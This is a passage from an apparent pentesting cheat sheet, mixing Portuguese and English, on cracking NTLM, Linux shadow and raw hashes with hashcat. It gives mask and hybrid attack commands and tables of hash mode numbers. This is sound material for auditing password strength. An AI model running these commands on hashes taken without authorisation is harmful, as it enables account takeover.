## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
  • Ataque de Lista de Palavras + Máscara (-a 6) / Ataque de Máscara + Lista de Palavras (-a 7)
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d

# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt

Modos do Hashcat

hashcat --example-hashes | grep -B1 -A2 "NTLM"

Quebrando Hashes do Linux - arquivo /etc/shadow

500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems

Quebrando Hashes do Windows

Para quebrar hashes do Windows, você pode usar ferramentas como o John the Ripper ou o Hashcat. Essas ferramentas são capazes de realizar ataques de força bruta em hashes do Windows, tentando diferentes combinações de senhas até encontrar a correta. Certifique-se de usar uma boa lista de palavras-passe para aumentar suas chances de sucesso.

3000 | LM                                               | Operating-Systems
1000 | NTLM                                             | Operating-Systems

Quebrando Hashes de Aplicativos Comuns

900 | MD4                                              | Raw Hash
0 | MD5                                              | Raw Hash
5100 | Half MD5                                         | Raw Hash
100 | SHA1                                             | Raw Hash
10800 | SHA-384                                          | Raw Hash
1400 | SHA-256                                          | Raw Hash
1700 | SHA-512                                          | Raw Hash
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